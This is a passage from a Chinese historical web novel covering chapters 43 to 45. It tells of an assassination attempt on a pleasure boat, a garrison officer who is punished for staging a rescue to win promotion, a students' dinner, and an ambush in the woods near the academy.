“哈哈哈。你这脾气啊。”他笑着摸了摸唐黎的头道:“你先去玩,我还有公务要办。明日在书院等我,我要考你功课。”
“别了吧。”唐黎捂着脑袋躲过去:“我还有事,表兄再会。”
转眼唐黎就跑的没影,他
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表兄笑容逐渐淡去。
“主子,约定的时间到了。”
“知道。”他抬眸望去,唐黎已经登上画舫二楼正与朋友打闹嬉戏。他嘱咐手下道:“这些天多派点人手,保护好表姑娘。”
“属下明白。”
二楼的廊道上,唐黎正追着上官竹道:“好小子,我的玩笑也敢开,给我站住!”
上官竹跑得是头也不回,后来干脆蹬着二楼的围栏又上一层,唐黎也是如此。她的衣角才划过二楼雅间,门就打开了,蔺渊走了出来,他整理着衣物来到斜对角的房间,要敲门的手缩了回去。
“南衙能人异士那般多,不一定就是他。对,不一定是谢英。谢英是金吾卫统领,需戍守皇宫,派谁来也不会是他。”
蔺渊又抬起手来,这次门还没敲就自己打开。看清屋内之人,蔺渊悬着的心终于死了。
此刻,他有种被莫见山耍了的感觉。
“怎么?还让我请你入座不成?”屋里的人端坐在主桌,派头十足。他冷冷地瞥了眼蔺渊。
“不敢劳烦谢将军。”蔺渊在谢英对面坐下。
“莫统领派本将军来配合你。王爷在邓州期间,城内安防我会与州府衙门对接。至于书院的同盟书,还望蔺夫子看紧了,护严实了。涉及两国和谈,出不得一丁点岔子。”谢英淡淡地说着,一副公事公办的模样。
“明白。”蔺渊点点头。
“有事就来兵马司找我,这几日我都会在那坐阵。”
“是。”蔺渊又点点头。
突然船体来了个晃荡,众人很快稳住身形,谢英的手下纷纷拔出佩刀护在主子身前。
蔺渊示意他们稍安勿躁道:“这是画舫开动,各位莫慌。”
话音刚落沿岸便放起烟花来。随着画舫驶出渡口,绚丽的烟花在天上盛放,映得天空格外明亮,蔺渊依着窗口旁若无人的看起烟花来。
谢英的手下立马推了把他道:“喂,没事禀报就退去吧。”
蔺渊却说:“我发现这里的位置要比我那雅间要好。在这看烟花,甚美。”
谢英摆摆手道:“段潇,你不必管他,他爱看就让他看。”末了还嘲讽两句道:“乡野村夫,没见过世面。”
蔺渊也只是笑笑不说话,继续抬头欣赏的烟花。
不仅是蔺渊,整个画舫的人都在抬头看烟花,而就在这时一群人紧握匕首悄悄逼近二楼。烟花绽放的声音,众人喧闹的声音都掩护住刺客的脚步声。
不过谢英还是察觉到这细微的动静,抿口茶看向蔺渊,似乎明白他为何来赖着不走。原来是到我这躲难来了。
想来他这位土匪头子没少招惹到江湖仇家,自己刚到邓州就听闻白虎山将褐龙帮杀个鸡犬不留。
“杀你的人来了。”谢英提醒道。
“谢将军不打算管?”
“你的死活与我何干。”但他还是好心的扔个匕首到蔺渊脚边道:“自己解决。”
“行吧。”蔺渊捡起匕首并未多说什么。
屋内的灯烛瞬间摇曳,影随风而来。明晃晃的利刃破风而出,但是他们的目标不是蔺渊而是谢英,段潇率先出手与之缠斗起来。
蔺渊还在窗边,他冲着谢英耸了耸肩道:“好像是来杀你的,全是军中好手。”
谢英拍桌起身,腰间的佩刀紧接着出鞘,他这一挥便是人头落地。
一招制敌,干脆利索。
刺客越来越多,段潇和谢英已经处在劣势,两人却没有一丝慌乱,相反越打越勇,但总会有人下黑手。
眼看谢英身后有人偷袭,蔺渊举起匕首奋力刺向刺客,可惜没有一击命中,刺客吃痛立马转向,将剑刃转向蔺渊。
“谢英,这!”多亏蔺渊把谢英召唤过来,才没成为刀下亡魂。
刺客下手狠辣,人数众多,这阵仗就是夺命来的。蔺渊忍不住问道:“几年没见,你又得罪了谁?”
“闭嘴吧。”谢英拉过他冲出雅间,段潇断后并在出雅间后第一时间燃放信号。
信号与漫天的烟花一同消散,很难被人发现。刺客像是算准似的,此刻的谢英被困在湖中心的画舫中,孤立无援。
43. 为了升官不择手段
随着刺客冲入人群,本来还欢声笑语的众人瞬间散开。尖叫声此起彼伏,还有甚者因慌乱逃窜跌入湖中,场面瞬间变得无比混乱。
好在刺客的目标只有谢英,并未伤及无辜。
一路被逼至船头,这里是画舫最宽阔之地,也是最低洼之地。三楼纷纷出现弓箭手,毫不留情的射向谢英。段潇眼疾手快连续放倒不少桌子来当盾牌。
谢英躲箭的同时还要护上蔺渊。本来刺客没打算对付蔺渊,偏偏他为了救谢英扎刺客一刀,又偏偏扎的是刺客头子。于是他被列入必杀名单。
箭雨持续不断,段潇试着突围未能成功,蹲在桌后的谢英甩出匕首,也只是击杀一名射手。
他看着收集乱箭的蔺渊实在不理解道:“你还有心情玩?”
蔺渊没有回话,用匕首将箭砍短些,全部交给谢英道:“权当是镖,趁乱打出去。”
段潇见状跟着照做,确实也伤到三楼的刺客。
箭雨变得没有这么密,到最后竟然戛然而止,谢英三人没敢轻举妄动,就听到三楼传出声音道:“大过节的,扫兴!上官,给我狠狠的打。”
唐黎探出身子往楼下看到,她看不清楼下的人,只好摆着手道:“你们不要怕,上边的黑衣人已被我们制伏!画舫马上就要靠岸了!”
谢英与蔺渊面面相觑,蔺渊听出是唐黎的声音,再次感叹她的胆子真大,也真是够莽撞的。他朝上喊道:“你小心一点。”
“诶?是你?”唐黎声音有些欣喜,又招招手,她指着身后道:“顾相公也在,兵马司也在,我们这就下去。”
谢英回应道:“不必了,我们上去。”
果真如唐黎所言,兵马司的人已经将刺客制服,地上躺着横七竖八的尸体。从伤口来看,这伙人是被人背后袭击捅得暗刀。
检查完尸体的谢英起身擦着手上的血迹,心中已明白些大概。
三楼阁楼中,顾平安拱手行礼道:“末将邓州兵马司长官史顾平安参见谢将军。”
刚刚经历刺杀的谢英脸色不好,而且作为金吾卫的将军,被打的宛如丧家之犬,还被小小的守城之将所救,他的自尊心接受不了。
“咳咳,刺客可有说什么?”谢英拉过椅子直接坐下。
顾平安身也不直跟着转身,始终面对领导拱手道:“牙齿含毒都已自尽。”
谢英冷哼一声,对这个结果很不满意。他招招手对段潇耳语几句,又转起拇指上的扳指漫不经心的询问道:“方才一路走来,发现船上有不少兵马司的人。三十来人都是赏月的吗?”
“护卫百姓是末将职责,正值中秋佳节,画舫人杂,末将不得不费心。”顾平安的姿态越来越恭敬,低下的额头上布满汗珠。
面前这位可是四大家族之一的陈郡谢氏,不仅出身显赫更是年纪轻轻身居要职。若是能得到他的赏识,自己以后便能平步青云。
可他根本没想到是,谢英不但不感激他的救命之恩,甚至对他的印象颇差。
“好一个护卫百姓,好一个爱民的好将领啊。”谢英的称赞听起来是那么刺耳,让顾平安心差点停跳一拍。
在别人没搞明白状况时,蔺渊听到这句话便什么都已明白。他看向顾平安不由得皱起眉头,心里暗骂道:“顾平安啊顾平安,你为了升官真是什么都做得出来!”
他刚要站出来替顾平安求情,段潇将两个兵马司的人拎进来,紧接着金吾卫的人全部涌入列队护卫在谢英身后,此刻谢英的压迫感直逼天花板。
谢英接过段潇递过来的茶,平静地看向跪地叩头的二人道:“说吧。”
“将军,我们真的什么都不知道。真的!”
“都是同袍,我不想为难你们。”谢英抬手示意他们起身回话。
“我来问,你们只需答是与不是。这伙刺客的行踪兵马司是不是早就知晓?”
那人看了眼顾平安,犹豫片刻最终点了点头。
“此刻入画舫也是你们故意放进来的?”
“是。”
“好,那说说你们顾相公是怎么安排的。”
“这……”
“不说我也知道。刺客一旦出现,按兵不动,等打到谢英命悬一刻时再出手,那样捡回一命的我必定感恩戴德,你们也可以混上锦绣前程,是与不是?”
“将军饶命,我们下次不敢了。”才站起来没一会儿又跪地求饶。
顾平安将茶盏放到一旁,抬眸看向顾平安道:“顾相公可要分辨一二?”
“末将……”顾平安低下头,他无力地叹了口气道:“末将认罪。还望将军莫要迁怒与我的弟兄们。”
“拖出去打二十军棍。”谢英的命令很快有人响应。
“谢将军。”蔺渊站出来劝说道:“顾相公到底帮上忙……”谢英直接打断他的话道:“你已经没有官身,以你现在的身份我没打你就偷着乐吧。”
蔺渊被噎的半天说不出话,等他打好腹稿门外已经响起军棍的声音。但他还是想为顾平安求情。
顾平安是邓州守城之将,把他打废了,可就没人能用。谢英的金吾卫再厉害也没有顾平安熟悉地形。
接王驾不能出差错,必须让王爷平安到达花洲书院。
“谢……”蔺渊话还没出口,谢英便道:“再加二十军棍。”又指着蔺渊道:“你多说一个字,我再加二十。”
“你!”蔺渊气到不行,而谢英一挑眉毛道:“再加二十!”
“你到底还讲不讲理啊!”唐黎直接闯进来,指着谢英鼻子就道:“顾相公救你一命,你就是这么报答的?”
蔺渊连忙使眼色让他们退下,还嫌这里不够乱吗。
上官竹假装没看见,附和唐黎两句:“属实不妥。”
谢英瞪了上官竹一眼,上官竹被那威严的眼神唬到立马闭嘴,好在谢英没有要再打人的兴致,摆手道:“把无关紧要的人给请出去。”
“我不走,你这样做不怕将士寒心,以后谁敢再舍命救人。”唐黎的嘴向来不饶人,也向来不分时间地点。
“救我?呵,若是有人真心救我,我必报此恩。可这顾平安发现刺客的计划,却还故意将刺客放入画舫。我今日要是不惩戒,日后纷纷效仿,那还得了。”
听完谢英的解释,唐黎竟无话可说。但她还是觉得顾平安被打八十军棍属实太冤。还想再说上两句,蔺渊却冲她摇摇头。
唐黎望向蔺渊的眸子带着请求,希望他能为顾平安求求情。蔺渊自然明白她的意思,冲她点头示意她放心。
上官竹拉过唐黎,低声道:“咱们先去看看顾相公。”
谢英指着二人离开的背影道:“这俩是你的学生?”
蔺渊点点头。
“你是怎么教育的学生?这般冒失的闯进来,今日要是换了旁人可不会如此客气。”
“.......”蔺渊盯着谢英一句话都不说。
“喂,你向来能说会道的,怎么哑巴了?哦~你是怕我再打顾平安。我倒不知你们才混了几天,感情甚笃啊。”他阴阳怪气的样子让人听着不爽。
蔺渊走上前去,朝着谢英所坐的椅子腿就是一脚,踹完就走二话没说。
段潇连忙扶稳的主子,剑都拔出来愣是被谢英给摁回去。
“主子,这人冒犯您。”
“用你说?你刚才怎么不砍?人都走远拔什么剑?”
“属....属下才反应过来,谁知贼首胆子这般大,敢行刺主子。”主要是没想到对方表达不满的行为竟是踹椅子腿。除了把将军踹个趔趄,手中杯盏撒出些水,甚至连衣物都未弄湿。
“行刺?你管这叫行刺?”谢英抬手就要打,段潇连忙拱手道:“属下知错。不是行刺,闹着玩,对,闹着玩。”
屋外的守卫来报道:“将军,顾平安才受十下军棍就被带走了。”
“被带走?”段潇直起身子训斥道:“你们怎么做事的?连
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人都看不住。”
“蔺……蔺先生和表姑娘都在,我们怕伤到,就.....”他为难的低下头。将军的命令难为,但又不能真去对抗表姑娘。
“嗯,知道了。”谢英没再追究其他的人的责任。
“顾平安竟然敢逃您的惩罚。是否需要属下抓他回来?”
“十下军棍足够他长记性。身为军人,不求马革裹尸战死沙场,但求为民善民,护卫一方百姓。他却一门心思想着升官,实乃军中之耻。”
“可....没有人会不想着升官。”看着谢英扬起的手,段潇又连忙找补道:“属下的意思是,上进可以但不能耍心思。”
谢英满意的点点头,收回扬起的手道:“免了顾平安的一切官职,让他在家养伤吧。”
“这不妥吧。毕竟在州府地界儿,知府相公那.....”
“知府要是有意见,那他也不用来衙门,一块在家养着吧。”谢英端起茶盏,才喝一口就给吐出来,嫌弃万分道:“这也配叫茶?”
段潇捧来门外递过来的断剑道:“刺客射的箭,有北衙的标志。”
“华敬没有那么拎不清,北衙与南衙再不对付,破坏和谈对他没有任何好处。”
谢英揉了揉太阳穴道:“去查,咱们来邓州的消息都有谁知道。还有,把今日涉事人员全部关押,不可走漏风声。”
.......
邓州兵马司
面对趴在床上的谢平安,蔺渊忍不住的训斥道:“顾平安啊顾平安,你糊涂啊!敢在谢英眼皮底下玩猫腻,你真是要官不要命。”
顾平安脸无血色,自嘲地笑道:“六年了,还是个七品守将,我只是不甘心。”
他艰难的扭头看向蔺渊,笑容十分苦涩道:“有句话一直没对你讲。谢谢你,谢谢你替我杀了金刚屠。”
蔺渊垂着眸默不作声,他看不得顾平安这幅可怜样。要不是自己把谢英招来,哪会有这事。
“我爹曾为邓州的守将,因抓捕过金刚屠,这才引来报复,落得个满门被屠。
我受父亲同僚的接济成人,娶亲,为官。
一开始我以为他们是把我看的太重,舍不得放我离去闯荡,我万分感恩。慢慢地我才明白,他们是怕我离开邓州,换来陌生的守将,他们无法像现在这般躲懒喝酒,赌博逛窑子。”
他将自己的往事婉转道来。
“我如今二十九了,在邓州倒是混的风生水起,但是我想建功立业,我不安于现状。可没有门路是走不出去的。五年前好不容易得了晋升的机会却被叔伯们给拦下,那时想着自己还年轻,总会有机会,这一等就等到现在。”
“我理解,我都理解。”蔺渊拍拍他的肩头安慰着。没有一位官员是安于现状,都想当大官。更何况顾平安有能力,有实绩,自然有怀才不遇之感。
这时段潇走进来传达谢英的意思。当顾平安听到自己被免职时,眼神都黯淡了许多。
“这是好事,正好有空养伤。”蔺渊却这般说道。
顾平安满眼不解的回头,官职都被免了,哪里是好事?
再说了,这十个军棍对于当兵的来说两天就能下床,哪里用养?
蔺渊解释道:“不管今日有没有刺客,谢英也会找理由免你的职。他不是针对你,而是他想接手并直接领导兵马司。过段时间等他离开邓州,你便会官复原职。”
“真的?”
“昂。我了解谢英,他确实有些公子哥的坏脾气,人倒是不坏。”
“你说的是真的?”顾平安揪着蔺渊的衣袖求证。
“是,是,是。你就信我吧。”他把药放到桌上道:“按时上药,别多想。弟妹那块我安排唐黎去说,就说你上山护卫藏书阁,这几日不得归家。咱们能瞒一天是一天,省着让她怀着身孕操心。”
顾平安费力的拱手抱拳,发自肺腑的感激。
“好了,先歇着吧。明日我再看你。”
44. 十八斋的聚会
顾平安虽然“倒了”,但梅花针的案子还在继续。唐黎与林焕照样在街上走访。
“阿焕,你和王大哥的事定了吗?”
“没有。”林焕情绪不太高涨,懒懒地说道。
“怎么?”唐黎难得八卦的打听。
“昨晚画舫涌出一堆凶神恶煞的黑衣人,王金诚躲到我身后也就算了。后来我们被人群冲散,画舫靠岸后他竟然一个人跑掉,亏我担心他满画舫的找人。”
“那确实不行。这种人就该拒绝。”
“嗯,我跟我爹也讲了,他也是这般说的,今早王金诚来家道歉,我娘压根就没让他进门。”
“这就对喽。”她挽过林焕的胳膊道:“不提这伤心事,上官竹在万风楼备了席面压惊,就等咱们呢。”
她们正巧路过兵马司衙门,唐黎转头就觉得守门侍卫眼熟,她定睛一看,惊讶到不可思议。
“唐黎,你怎么了?”
“哦,我想到还有事要问顾相公,你想去万风楼,我马上到。”唐黎推着林焕离开,自己则是返回兵马司衙门口。
她上下打量着一身小将打扮的谢英,忍俊不禁道:“还别说,表兄穿这身比昨天喊打喊杀的模样顺眼不少。”
“你少耍贫,我这儿站班呢。”谢英拿着长矛站的笔直。他为了隐藏身份好办事,特意混入兵马司当个小卒。
唐黎靠近谢英低声道:“你们南衙的事我都知道了。”
谢英目视前方没有搭理她。
“喂。”唐黎拍了拍谢英道。
“别闹。”谢英惜字如金。
“好,我不闹,但我有个问题要问你。问完我就走。”
“问。”
“你们南衙为何要派蔺渊?他武功那么差。要是真跟歹人面对面对上,死都不知道咋死的。”
“你在担心他?”谢英突然扭头盯向唐黎。那如鹰般的眼神直视着唐黎,让唐黎感到莫名其妙,她皱了皱眉道:“我当然担心,我担心他保护不了同盟书。”说完她笑盈盈的看向谢英,甜甜的唤了声表兄。
门口的异常被值班长官发现,他过来道:“哪个当差像你这样的!说起话来没完没了。”
谢英低头行礼道:“长官恕罪,是属下的表妹,许久未见叙叙旧。”
“表妹?”长官上下打量着唐黎,笑着道:“你这表妹长得可真漂亮。”
“去,把甲脱了,给你半日假。好好陪你表妹说说话。明日多当半日,把班给补回来。”
“长官?”谢英不可思议的抬眸,哪有这样随意的。
“去不去?过了这村可没这店儿了。”
唐黎连忙拉过谢英致谢道:“谢谢长官。”
长官看着二人的背影咂了咂舌:“表哥表妹,多好的姻缘啊。”随即又摸着腰间的玉佩:“可怜我那表妹啊.....”
离了衙门口,唐黎迫不及待的问道:“表兄,这次行动是谁指挥?带我一个,我也去保护同盟书,打细作。”
谢英一眼看破唐黎的想法道:“你想进南衙?”
“还是表兄最懂我。保护盟书带我一个呗。到时候跟你们莫大统领讨个赏,我也想做个女将军。”
谢英把胳膊抽回来并警告道:“若是再胡闹,我写信告诉你娘。”
唐黎撅着嘴道:“不同意就不同意嘛,告状算什么本事。”
没达到目的的唐黎离开了,谢英却望着她的背影出神。
“哈哈哈。”不远处传来少男少女的交谈声,时不时还夹杂些笑声。
“真的假的?上官,你不要骗我,那头发真的能变卷?像安西人那般?”林焕满眼的好奇。
“那是自然,我这就带你去。”
“还是算了吧,我担心唐黎,咱们还是先去寻她吧。”
“你真不用担心她,她功夫厉害着呢。”上官竹拍着胸脯打着保票,手一扬不小心打到旁边的路人,他连忙抱拳行礼道:“抱歉。”
对方还了礼并未在意,他理理衣袖来到卖包子的摊位前,掏出三枚铜钱,一正两反的排列整齐,低声道:“布置的如何?”
“兄弟们都已安排就位,谢头儿,有何指示?”
谢英扭头观察周围,东边茶摊的茶博士,西边书肆的算命的,以及北边卖菜的齐齐看过来。
“王爷三日后抵达邓州,务必保护好王爷安全。”谢英安排道。
“明白。”那人低声回应,又装上一屉包子递给谢英,大声表明自己卖包子的身份道:“拿好您的包子。”
回衙门的路上谢英正好饿了,便拿出包子咬上一口随即立马吐出。他看着手中的包子怀疑人生。
怎会如此难吃?包子皮黏糊糊的就算了,这陷儿仿佛还没有熟。
这么难吃的包子摊,若是天天支在闹市,不就等于自曝身份!?
他快步返回包子摊,途径深巷之中响起几声尖锐的猫叫,让谢英猛地顿住脚步,警惕的看向四周。
……
“你看怎么样!”上官竹一甩头发,在林焕面前十分臭屁的转了个圈。
青色的长衫配上绛红色的宫绦,显得他英俊潇洒。更吸睛的是他那一头蓬松的卷发,添得几分异国风情。
林焕摸上他的头发,惊叹道:“还真的卷咧。”
“好看吧。当下在京城最流行。”上官竹说得肯定。他对自己审美十分自信,拉过林焕道:“我跟红姐说了,也把你的头发给卷上一卷。”
“不用了。我平时都盘起来,卷了也没用。”
“来嘛。”上官竹伸手就去拉林焕。
林焕往后躲,上官竹就往前追,二人你追我赶的在店铺面前打闹起来,上官竹又是一个不小心撞到路人。
“对不起。”上官竹扶起对方。
对方衣衫褴褛是个乞丐,林焕捧起他摔到一旁的碗过来道:“实在不好意。”
上官竹紧跟着掏了二两银子放到他的破碗内表达歉意。
乞丐立马作揖道:“谢谢少爷,谢谢少奶奶。你们再撞小的几下,狠狠的撞,没事的。只要能换少爷奶奶高兴就成。”
“我们是不小心的,实在抱歉。”上官竹作揖还礼道。
可那乞丐还是一个劲儿的求上官竹来撞他。上官竹就纳了闷了,怎么还有这种要求。
还是林焕看出端倪道:“他想多要些银子。”
“哦哦哦。怪可怜的。”上官竹实诚的抬手掏荷包,林焕却制止他,转眸看向乞丐道:
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“二两不少了。”
乞丐狠狠的点头,确实给的不少。他解释道:“我爹病重,要想治病得连续喝上两年的药,需得五两银子。少爷仁心,就请您救救我爹吧。”
他发现上官竹的视线总是落在林焕身上,于是转身朝着林焕磕头道:“少奶奶菩萨心肠,菩萨转世.....”
“诶诶诶,你可别拜我。”林焕连忙躲开,她脸色微红不自然的反驳道:“别乱喊,我可不是什么少奶奶。”
乞丐人精似的,他见叫女的少奶奶,男的喜色难掩就什么都知道了。他为了讨钱,缠上林焕左一口少奶奶,又一口少奶奶的,把林焕叫的恨不得找个地缝钻进去,自然也就没空管上官竹是否掏钱了。
上官竹爽朗地笑了几声,他直接掏出十两放到乞丐手中道:“你是个孝顺的人,好好给你父亲治病。”
“是。一定。”乞丐转身就要走,上官竹一把拉住他的手道:“哦,对了。元德堂的贾大夫与我相熟,此人医术极高,你们可以去寻他。直接报我名字,上官竹。”
“谢谢上官少爷仁心。”乞丐捧着银子开心的跑开。
林焕说道:“你也不怕他骗你,给那么多银子。”
“千金难买人高兴嘛。”他哈哈笑着,看起来是真高兴。
林焕不理解的眨眨眼。算了,上官竹总是这样,每天不知道为何开心,也不知道为何不开心。好在他率真爽朗,对人赤诚,也没那么多心眼子。
就像现在,不过是话赶话的提到元德堂,上官竹心血来潮的就要去拜访贾复。
元德堂是贾复经营的医馆,这些年经营的还算不错,今年开春时更是换间更大的铺子。
“老复!”上官竹直接蹦到堂屋中,药童殷勤的上前作揖道:“上官兄,许久未见。”
“半夏长高不少。你家掌柜子呢?”
说话间贾复就走了过来,笑骂道:“你个小崽子,府试在即,不在书院读书,来砸我招牌吗?”
“复叔。”林焕乖巧的上前行礼。
“林焕啊,你们怎么一起来的。”
“还有我!”唐黎不知从哪里窜出来。这下十八斋除了苏天赐全都到齐。
“哈哈哈,你们赶得正巧,快些洗手吃饭吧。”贾复把桌子收拾出来,安排每个人入座,又嘱咐半夏去酒楼再带两份菜回来。
上官竹伸手拉住半夏道:“不用那么麻烦,这些菜够吃的。老复,你珍藏的好酒呢?来上两杯。”
林焕劝道:“别了吧,书院不让饮酒的。”
“没事,让他喝两口。休沐的最后一天了,好好放松放松。”贾复笑呵呵地给上官竹倒上。
“复叔。”林焕还是担心,她看向唐黎想让她帮忙劝说,谁知唐黎竟然也伸过杯子讨酒。
贾复安慰着林焕道:“你们三个结伴回书院,不会有事的。”他倒着酒道:“一人一杯,谁都也不许多喝。”
“这....”林焕还想说话,一根筷子挡在嘴前。她下意识舔了下嘴,瞬间辣味苦味无法形容的味缠上舌头。
“哈哈哈。”奸计得逞的上官竹笑得很是开心:“你也喝了酒,就不许告状。”
林焕跟着笑起来,吃了好几口菜才将酒味冲散。
45. 唐黎的酒量
“听说阿竹在乡射时打了头大野猪?今年咱们书院可算得脸。”贾复问起射礼的事。
上官竹摆着手道:“我那是用弩射的,夫子说了不作数的,我就没上报。等下次,下次我一定用弓箭射头野猪!给复叔尝尝鲜。”
林焕扭头道:“我和唐黎当时也劝了你,你咋没听?”
“嘿嘿,夫子给我讲了好大一篇道理,我倒是觉得受益匪浅。”
“说说。”唐黎咬了口菜问道,她倒是好奇蔺渊又唠叨些什么。
他清了下嗓子,捋着并不存在的胡须,模仿着蔺渊道:“夫子说,君子无所争,于射则争。君子之射,有德以诏之,有礼以节之,有罚以戒之。别看搭弓射箭是力气活,但同样能看出一人的品行。既然要赢就要赢的光明,输的敞亮,这才是君子。”
“就因为这?”唐黎有些不相信,这些个大道理不是上官竹最讨厌听的嘛。
“夫子还说,输了不就是喝杯酒的事,在禁酒的书院明目张胆的喝酒,岂不是快事一件。”看来这才是重点。蔺渊倒是会因材施教。
上官竹这左一口夫子说,右一口的夫子说。让端着菜回来的贾复怀疑自己耳朵出了问题,他问道:“蔺夫子?我没听错吧?咱们上官少爷何时会听夫子的话。”
林焕笑着道:“蔺夫子不一样,上官竹如今是真心敬重蔺夫子,前几日我还见他去找夫子请教文章。”
上官点头表示同意:“对,蔺夫子就是不一样。”
贾复对此好奇的不得了,上官竹出了名的混球,不好管教。被他折腾过的夫子两只手都数不过来,怎么就偏偏就蔺夫子特殊?
“我也不知道。”上官竹抿口酒道:“蔺夫子讲的那些大道理我爹也常说,但只要看到我爹那吹胡子瞪眼的模样就烦,一个字也不想听。
可蔺夫子不一样,他讲话慢,说话柔。要是有什么不懂的只管问,也不会嫌我笨,我若是答对了,还会得到夸赞。而且我能感觉到他是真心在关心我。
嗯....感觉像我娘似的。”
“........”
“………”
席面上的众人先是愣了一下,随后便哄堂大笑。
唐黎点指着上官竹,笑到停不下来:“你倒是会形容人。悄默声的给你爹续了个弦。”
上官竹也跟着笑起来:“我娘走的早,我实在不记得她的模样。如果她还在,兴许会像夫子一般关心我吧。”
他话锋一转,语气中带着哀怨道:“哪像我爹,就知道逼我考取功名,我就是他光宗耀祖一个工具!从小到大就只知道问我文章,蔺夫子一个外人都知道天凉让我加件衣裳,我爹一年了也不知道给我来封信,托人带个话。”
“咳咳,子不言父。”唐黎提醒上官竹别再往下说有失身份。
贾复举起酒杯打着圆场道:“喝点酒暖暖身子,昂,快,夹菜呀。”
席间大家有说有笑的,菜吃了不少,酒却只喝一杯。但就是这一杯酒让唐黎趴桌不起。红彤彤的脸蛋透露着醉意,她含糊不清的嘟囔着:“我没事。”
“酒量这么差的吗?”上官竹看向林焕。
“我从未见唐黎喝过酒。”所以林焕也不知道唐黎的酒量如何。
其实就连唐黎自己也不知道,因为她从来就没喝过酒,前几日见蔺渊不过是喝了两口脸就红成那样,心里就想试试自己若是喝酒会如何。
定会千杯不醉!
向来要强的唐黎是这般想的。
可现实却是……
“哎呀,这就一杯啊。”贾复端来醒酒汤喂唐黎喝下,唐黎好歹算是缓解一些。
“能行吗?要不今晚就别回书院了。”贾复有些后悔给他们酒喝。
上官竹摆着手道:“天儿还没黑呢,没事的。”
“还是住我这吧,这几天不太平,听隔壁李嫂子说城西林子那死了不少人,被烧的焦黑。丧尽天良啊。”
“城西?义庄吗?”上官竹想到前段时间陪夫子去过一趟城西。
“昂,对。”
林焕看了眼天色道:“时间还赶得及,明日要开课,今晚要点卯的,要是不回去掌事学官又该变着法罚我们呢。”
“那行,你们一定要注意安全。”贾复一路送到巷子口。
唐黎靠着林焕肩头,她目前的状态还能认人,摆着手道:“复叔再见。”
喝醉的唐黎步履蹒跚,这山路又难行,上官竹怕她东倒西歪的再掉沟里,索性背起她,还特意嘱咐林焕道:“以后千万别给她酒喝。”
“若不是你嚷着喝酒,哪有这事。”林焕责怪起上官竹来。
“啧,我不是没事吗。我再喝一坛子也没事。”上官竹甚至轻快的跳了几步。
“好了,一会儿到山腰处的长亭就把她放下,免得被人看到说闲话。”
“咱们不走长亭,我带你抄近路。”上官竹挑眉笑了笑。
上官竹所说的近路,是猎户踏出的路。后山野味儿丰富,猎户怕上山打猎扰到学子读书便另辟蹊径。最后反倒成为不少学子逃课的必经之路。
小路,自然就没什么人。
林焕手中的火折子在黑暗中显得不够用,她提议岔回大路,可上官竹还是倔强的想走小路。
林焕深一步前一步的跟在上官竹身后,这时头顶飞过一群鸟雀。她仰面看天,立马拉住上官竹道:“还是回大路吧,我方才看树上有陷阱标记,前方肯定不安全。”
上官竹也觉得这猫头鹰时不时咕咕两声怪渗人的。他同意林焕的建议,改换大路。
只是还没迈出几步,暗箭从林中射来。上官竹推开林焕,背着的唐黎勉强躲过。
火折子落地直接没了光亮。林中静极了,能清晰的听到每个人的呼吸声。
除了林焕三人外这林中肯定还有不少人。
上官竹护着林焕十分谨慎的往大路退去,但枯叶被踩碎的声音瞬间暴露他们的所在位置。
又有暗箭袭来,黑暗中光亮闪过将暗箭拦腰斩断,有人救了他们。
“唰”的一声,火把从四周燃起,照亮这一方天空。紧接着就打了起来。
刀光剑影,打的比说书先生讲的还要精彩。林焕和上官竹趁乱躲在一旁,生怕惊动到对方。
上官竹连忙去掏怀里的弓弩来防身,他对着林焕做了个嘘的动作,强调千万不能有动静。
又指下远处做了个抹脖子的动作,表示自己打不过这些人,被发现只有挺尸的份儿。
林中刀剑碰撞声,骨头断裂声,惨叫声此起彼伏。一阵阵血腥味扑鼻而来。就连闻惯血味的林焕都忍不住捂住嘴巴,脸色惨白。
她想不明白书院的后山是怎么招惹到此等祸事。
这些人到底是谁?
很快打斗声弱下去,只剩下一片死寂,这说明战斗已经结束。
不少倒地的火把点燃起落叶,烟雾伴随着噼里啪啦的响声飘散而上。这里的气氛变得更加压抑,让人喘不过气。
“我不...我不想回家。”醉酒的唐黎冷不丁地嘟囔一声。
林焕与上官竹对视一眼,立马捂上唐黎的嘴。可惜为时已晚,如此情境,在所与人高度集中的状态下,是不可能听不到这句低喃
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。
剑气破风而来,上官竹护过唐黎狼狈的滚上好几圈才躲过袭击。
而对方的剑竟然没入石块半分,上官竹后怕的吞下口水,若是砍到身上怕是会当场毙命。
林焕连忙表明身份道:“学子!好汉饶命!我们是学子!我们是花洲书院的学子啊!”
听到这句话,那人的动作明显停顿,浑身上下的戾气消散不少。他靠着石头咳了口血,看起来伤的不轻。
上官竹举着火把起身,林中横七竖八躺着全是人,静悄悄地,早已气绝。他愣愣的看向林焕,都从对方的眼睛里看到震撼和恐惧。
“过来帮我包扎。”那人声音沙哑的命令道。
“都都都....都是您一人所杀的?”上官竹舌头有些打结。他的腿仿佛铸铅般,一步也迈不动。
“快点,等我打你军棍啊!”
这声音听起来还挺耳熟,上官竹立马抬眸,认出对方。他试探的问道:“谢将军?”
谢英嗯了一声,正一只手艰难的包扎伤口。
一看是熟人上官竹立马不害怕,颠颠儿的跑过去。他边包扎边问道:“死的是些什么人?”
“怎么,套我话?”谢英眼睛一眯,瞥了他一眼。
“只是好奇。”
上官竹为谢英包扎伤口时发现,他的手臂似乎断了。而谢英却不以为然道:“脱臼而已。”
“一定会很痛.....”
谢英抬手示意上官竹噤声,他耳朵微动,捡过地上的箭转手扔了出去。
“呃。”是人中箭倒地的声音。
谢英压低声嘱咐道:“我掩护你们上山,务必告知蔺夫子此处有异。”
“??”上官竹只觉得奇怪,为啥要通知蔺夫子?他肩不能抗手不能提的。
对于这点林焕就比他知道内情,毕竟她知道蔺渊的真实身份。林焕拱了下手表示自己会完成任务。
这次冲过来的黑衣人更多,任凭谢英武功再高也招架不住对方的车轮战,更何况他还受了伤。
上官竹见状拾起地上的刀,关键时刻替谢英拦住一击。但是上官竹的武功实在拿不出手,平日里练的也都是哄女孩子的花架子。
潇洒归潇洒,杀伤力真的很一般。
就连谢英都忍不住吐槽道:“你是在跳舞吗?”
“比我能打的睡过去了,我能怎么办。”上官竹钢刀一横挡住一击,转手使弓弩释放一箭。
他也就能帮谢英打个掩护。刀在他手中仿佛钝了般,更不敢往要害的地方去砍。毕竟还是年轻学子,哪里遇到过这种真刀真枪的实战状况。
“喂!唐黎!”上官竹喊道。
唐黎还在林焕怀里睡得香甜,林焕情急之中舀了山泉水,直接喷到唐黎脸上,清冽的泉水刺激着唐黎的神经,她猛地睁开眼。首先映入眼帘的是林焕焦急的面庞:“太好了,你终于醒了。”
紧接着是喧闹的打斗声,唐黎立马进入状态,飞身间软剑出鞘。
